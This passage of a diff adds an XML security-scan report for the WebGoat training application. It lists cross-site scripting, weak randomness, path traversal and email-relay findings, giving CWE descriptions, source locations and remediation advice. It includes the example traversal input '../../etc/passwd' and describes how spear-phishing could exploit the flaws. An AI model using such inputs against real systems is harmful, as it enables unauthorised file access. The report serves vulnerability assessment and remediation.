+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/lesson_solutions/UncheckedEmail_files/image001.png\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"285\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/lessons/General/redirect.jsp\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"286\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/lessons/RoleBasedAccessControl/images/orgChart.jpg\"/>\n</dynamicflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"12\" categoryname=\"Cryptographic Issues\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Applications commonly use cryptography to implement authentication
+        mechanisms and to ensure the confidentiality and integrity of sensitive data,
+        both in transit and at rest.  The proper and accurate implementation of cryptography
+        is extremely critical to its efficacy.  Configuration or coding mistakes as
+        well as incorrect assumptions may negate a large degree of the protection
+        it affords, leaving the crypto implementation vulnerable to attack.\"/>\n<para
+        text=\"Common cryptographic mistakes include, but are not limited to, selecting
+        weak keys or weak cipher modes, unintentionally exposing sensitive cryptographic
+        data, using predictable entropy sources, and mismanaging or hard-coding keys.
+        \ \"/>\n<para text=\"Developers often make the dangerous assumption that they
+        can improve security by designing their own cryptographic algorithm; however,
+        one of the basic tenets of cryptography is that any cipher whose effectiveness
+        is reliant on the secrecy of the algorithm is fundamentally flawed.  \"/>\n</desc>\n<recommendations>\n<para
+        text=\"Select the appropriate type of cryptography for the intended purpose.
+        \ Avoid proprietary encryption algorithms as they typically rely on &quot;security
+        through obscurity&quot; rather than sound mathematics.  Select key sizes appropriate
+        for the data being protected; for high assurance applications, 256-bit symmetric
+        keys and 2048-bit asymmetric keys are sufficient.  Follow best practices for
+        key storage, and ensure that plaintext data and key material are not inadvertently
+        exposed.\"/>\n</recommendations>\n<cwe cweid=\"331\" cwename=\"Insufficient
+        Entropy\" pcirelated=\"false\" sans=\"327\">\n<description>\n<text text=\"Standard
+        random number generators do not provide a sufficient amount of entropy when
+        used for security purposes. Attackers can brute force the output of pseudorandom
+        number generators such as rand().\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"3\" categoryname=\"Insufficient Entropy\" count=\"1\" issueid=\"173\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"java.lang.Math.random\" description=\"Standard
+        random number generators do not provide a sufficient amount of entropy when
+        used for security purposes. Attackers can brute force the output of pseudorandom
+        number generators such as rand().\r\n\r\nIf this random number is used where
+        security is a concern, such as generating a session key or session identifier,
+        use a trusted cryptographic random number generator instead. These can be
+        found on the Windows platform in the CryptoAPI or in an open source library
+        such as OpenSSL. In Java, use the SecureRandom object to ensure sufficient
+        entropy.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/331.html)\r\n\r\n\"
+        note=\"\" cweid=\"331\" remediationeffort=\"2\" exploitLevel=\"-1\" categoryid=\"12\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"WeakSessionID.java\"
+        line=\"77\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.WeakSessionID\"
+        functionprototype=\"void &lt;clinit&gt;(void)\" functionrelativelocation=\"75\"/>\n</staticflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"1\" categoryname=\"Directory Traversal\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Allowing user input to control paths used in filesystem operations
+        may enable an attacker to access or modify otherwise protected system resources
+        that would normally be inaccessible to end users.  In some cases, the user-provided
+        input may be passed directly to the filesystem operation, or it may be concatenated
+        to one or more fixed strings to construct a fully-qualified path.\"/>\n<para
+        text=\"When an application improperly cleanses special character sequences
+        in user-supplied filenames, a path traversal (or directory traversal) vulnerability
+        may occur.  For example, an attacker could specify a filename such as &quot;../../etc/passwd&quot;,
+        which resolves to a file outside of the intended directory that the attacker
+        would not normally be authorized to view.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"Assume all user-supplied input is malicious.  Validate all user-supplied
+        input to ensure that it conforms to the expected format, using centralized
+        data validation routines when possible.  When using black lists, be sure that
+        the sanitizing routine performs a sufficient number of iterations to remove
+        all instances of disallowed characters and ensure that the end result is not
+        dangerous.\"/>\n</recommendations>\n<cwe cweid=\"73\" cwename=\"External Control
+        of File Name or Path\" pcirelated=\"false\" sans=\"22\" certcpp=\"877\">\n<description>\n<text
+        text=\"This call contains a path manipulation flaw.  The argument to the function
+        is a filename constructed using user-supplied input.  If an attacker is allowed
+        to specify all or part of the filename, it may be possible to gain unauthorized
+        access to files on the server, including those outside the webroot, that would
+        be normally be inaccessible to end users.  The level of exposure depends on
+        the effectiveness of input validation routines, if any.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"3\" categoryname=\"External Control of File Name or Path\" count=\"1\"
+        issueid=\"238\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.io.File.!operator_javanewinit\"
+        description=\"This call to java.io.File.!operator_javanewinit() contains a
+        path manipulation flaw. The argument to the function is a filename constructed
+        using user-supplied input. If an attacker is allowed to specify all or part
+        of the filename, it may be possible to gain unauthorized access to files on
+        the server, including those outside the webroot, that would be normally be
+        inaccessible to end users. The level of exposure depends on the effectiveness
+        of input validation routines, if any. The second argument to !operator_javanewinit()
+        contains tainted data from the variable helpFile. The tainted data originated
+        from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nValidate
+        all user-supplied input to ensure that it conforms to the expected format,
+        using centralized data validation routines when possible. When using black
+        lists, be sure that the sanitizing routine performs a sufficient number of
+        iterations to remove all instances of disallowed characters.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/73.html) \r\nWASC (http://webappsec.pbworks.com/Path-Traversal)\r\n\r\n\"
+        note=\"\" cweid=\"73\" remediationeffort=\"2\" exploitLevel=\"2\" categoryid=\"1\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"CommandInjection.java\"
+        line=\"171\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.CommandInjection\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"69\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"3\" categoryname=\"External Control of File Name or Path\" count=\"1\"
+        issueid=\"252\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.io.File.!operator_javanewinit\"
+        description=\"This call to java.io.File.!operator_javanewinit() contains a
+        path manipulation flaw. The argument to the function is a filename constructed
+        using user-supplied input. If an attacker is allowed to specify all or part
+        of the filename, it may be possible to gain unauthorized access to files on
+        the server, including those outside the webroot, that would be normally be
+        inaccessible to end users. The level of exposure depends on the effectiveness
+        of input validation routines, if any. The second argument to !operator_javanewinit()
+        contains tainted data from the variable helpFile. The tainted data originated
+        from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nValidate
+        all user-supplied input to ensure that it conforms to the expected format,
+        using centralized data validation routines when possible. When using black
+        lists, be sure that the sanitizing routine performs a sufficient number of
+        iterations to remove all instances of disallowed characters.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/73.html) \r\nWASC (http://webappsec.pbworks.com/Path-Traversal)\r\n\r\n\"
+        note=\"\" cweid=\"73\" remediationeffort=\"2\" exploitLevel=\"2\" categoryid=\"1\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"CommandInjection.java\"
+        line=\"180\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.CommandInjection\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"80\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"3\" categoryname=\"External Control of File Name or Path\" count=\"1\"
+        issueid=\"9\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.io.FileInputStream.!operator_javanewinit\"
+        description=\"This call to java.io.FileInputStream.!operator_javanewinit()
+        contains a path manipulation flaw. The argument to the function is a filename
+        constructed using user-supplied input. If an attacker is allowed to specify
+        all or part of the filename, it may be possible to gain unauthorized access
+        to files on the server, including those outside the webroot, that would be
+        normally be inaccessible to end users. The level of exposure depends on the
+        effectiveness of input validation routines, if any. The first argument to
+        !operator_javanewinit() contains tainted data from the variable fileName.
+        The tainted data originated from earlier calls to javax.servlet.http.HttpServletRequest.getHeader,
+        javax.servlet.ServletRequest.getParameterValues, javax.servlet.http.HttpServletRequest.getCookies,
+        and javax.servlet.ServletRequest.getParameterNames.\r\n\r\nValidate all user-supplied
+        input to ensure that it conforms to the expected format, using centralized
+        data validation routines when possible. When using black lists, be sure that
+        the sanitizing routine performs a sufficient number of iterations to remove
+        all instances of disallowed characters.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/73.html)
+        \r\nWASC (http://webappsec.pbworks.com/Path-Traversal)\r\n\r\n\" note=\"\"
+        cweid=\"73\" remediationeffort=\"2\" exploitLevel=\"2\" categoryid=\"1\" pcirelated=\"false\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"LessonTracker.java\"
+        line=\"238\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.LessonTracker\"
+        functionprototype=\"LessonTracker load(WebSession, java.lang.String, Screen)\"
+        functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"3\" categoryname=\"External Control of File Name or Path\" count=\"1\"
+        issueid=\"39\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.io.File.!operator_javanewinit\"
+        description=\"This call to java.io.File.!operator_javanewinit() contains a
+        path manipulation flaw. The argument to the function is a filename constructed
+        using user-supplied input. If an attacker is allowed to specify all or part
+        of the filename, it may be possible to gain unauthorized access to files on
+        the server, including those outside the webroot, that would be normally be
+        inaccessible to end users. The level of exposure depends on the effectiveness
+        of input validation routines, if any. The first argument to !operator_javanewinit()
+        contains tainted data from the variable file. The tainted data originated
+        from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nValidate
+        all user-supplied input to ensure that it conforms to the expected format,
+        using centralized data validation routines when possible. When using black
+        lists, be sure that the sanitizing routine performs a sufficient number of
+        iterations to remove all instances of disallowed characters.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/73.html) \r\nWASC (http://webappsec.pbworks.com/Path-Traversal)\r\n\r\n\"
+        note=\"\" cweid=\"73\" remediationeffort=\"2\" exploitLevel=\"2\" categoryid=\"1\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"PathBasedAccessControl.java\"
+        line=\"136\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.PathBasedAccessControl\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"39\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n</staticflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"22\" categoryname=\"Encapsulation\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Encapsulation is about defining strong security boundaries governing
+        data and processes. Within an application, it might mean differentiation between
+        validated and unvalidated data, between public and private members, or between
+        one user's data and another's.  \"/>\n<para text=\"In object-oriented programming,
+        the term encapsulation is used to describe the grouping together of data and
+        functionality within an object and the ability to provide users with a well-defined
+        interface in a way which hides their internal workings.  Though there is some
+        overlap with the above definition, the two definitions should not be confused
+        as being interchangeable.\"/>\n</desc>\n<recommendations>\n<para text=\"The
+        wide variance of encapsulation issues makes it impractical to generalize how
+        these issues should be addressed, beyond stating that encapsulation boundaries
+        should be well-defined and adhered to.  Refer to individual categories for
+        specific recommendations. \"/>\n</recommendations>\n<cwe cweid=\"501\" cwename=\"Trust
+        Boundary Violation\" pcirelated=\"false\">\n<description>\n<text text=\"A
+        trust boundary violation occurs when a program blurs the line between what
+        is trusted and what is untrusted.  This application mixes trusted and untrusted
+        data in the same data structure.  By doing so, it becomes easier for programmers
+        to mistakenly trust unvalidated data.  Without well-established and maintained
+        trust boundaries, programmers will inevitably lose track of which pieces of
+        data have been validated and which have not. This confusion will eventually
+        allow some data to be used without first being validated.  A common manifestation
+        of this flaw is in J2EE application, when a Session object is used to store
+        untrusted data from the HTTP request.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"3\" categoryname=\"Trust Boundary Violation\" count=\"1\" issueid=\"246\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"javax.servlet.http.HttpSession.setAttribute\"
+        description=\"This call to javax.servlet.http.HttpSession.setAttribute() mixes
+        trusted and untrusted data in the same data structure, thereby encouraging
+        programmers to mistakenly trust unvalidated data. The second argument to setAttribute()
+        contains tainted data from the variable value. The tainted data originated
+        from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid
+        storing untrusted data alongside trusted data in the same data structure.
+        Establish and maintain trust boundaries for data storage.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/501.html)\r\n\r\n\" note=\"\"
+        cweid=\"501\" remediationeffort=\"2\" exploitLevel=\"0\" categoryid=\"22\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"DefaultLessonAction.java\"
+        line=\"89\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.DefaultLessonAction\"
+        functionprototype=\"void setSessionAttribute(session.WebSession, java.lang.String,
+        java.lang.Object)\" functionrelativelocation=\"64\"/>\n</staticflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"25\" categoryname=\"Insufficient Input Validation\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Weaknesses in this category are related to an absent or incorrect protection
+        mechanism that fails to properly validate input that can affect the control
+        flow or data flow of a program.\"/>\n</desc>\n<recommendations>\n<para text=\"Validate
+        input from untrusted sources before it is used. The untrusted data sources
+        may include HTTP requests, file systems, databases, and any external systems
+        that provide data to the application. In the case of HTTP requests, validate
+        all parts of the request, including headers, form fields, cookies, and URL
+        components that are used to transfer information from the browser to the server
+        side application.\"/>\n<para text=\"Duplicate any client-side checks on the
+        server side. This should be simple to implement in terms of time and difficulty,
+        and will greatly reduce the likelihood of insecure parameter values being
+        used in the application.\"/>\n</recommendations>\n<cwe cweid=\"472\" cwename=\"External
+        Control of Assumed-Immutable Web Parameter\" pcirelated=\"false\">\n<description>\n<text
+        text=\"The web application does not sufficiently verify inputs that are assumed
+        to be immutable but are actually externally controllable, such as hidden form
+        fields. Ruby on Rails provides convenient methods (new, create, create!, update_attributes,
+        update_attributes!) for easily creating or updating instances of an application's
+        model. Multiple attributes can be updated at once with the key/value pairs
+        of a hash. If this hash is created using data under an attackers control,
+        such as the result of an HTML form submission, additional values may be included
+        beyond those intended. If those additional keys match the names of attributes
+        on the model, they may be updated as well.\"/>\n</description>\n<manualflaws>\n<flaw
+        severity=\"3\" categoryname=\"External Control of Assumed-Immutable Web Parameter\"
+        count=\"1\" issueid=\"274\" module=\"manual_analysis\" type=\"\" description=\"The
+        application send emails on behalf of the user. The contents of the message
+        and the delivery address are controllable by the client. \" note=\"\" cweid=\"472\"
+        remediationeffort=\"2\" exploitLevel=\"2\" categoryid=\"25\" pcirelated=\"false\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" location=\"http://targethost/WebGoat/attack?Screen=1706623184&amp;menu=1700\"
+        cvss=\"5\" capecid=\"6\" exploitdifficulty=\"2\" inputvector=\"to, subject,
+        msg\">\n<exploit_desc>An attacker could utilize this email to send SPAM messages
+        resulting in the SMPT relay to become untrusted among email service providers.
+        A sophisticated attacker could utilize this to conduct spear phising attacks.
+        The phising email could include links to pages within the application that
+        are vulnerable to open redirect or cross-site scripting, making the attack
+        extremely difficult for a user to detect.</exploit_desc>\n<severity_desc>Due
+        to other vulnerabilities within the application that would allow for a sophisticated
+        spear phising attack, the issue becomes more severe. A security aware user
+        could easily be tricked by the spear phising links since they would start
+        with the correct domain name.</severity_desc>\n<remediation_desc>Only send
+        emails to predetermined delivery addresses that are associated with the application
+        or with the current user. Do not allow the client to set the subject or other
+        smtp headers. Escape all client input with the same mechanisms used to escape
+        tainted data before display within an HTML context.</remediation_desc>\n<appendix>\n<description>undefined</description>\n<screenshot
+        format=\"PNG\">\n<data>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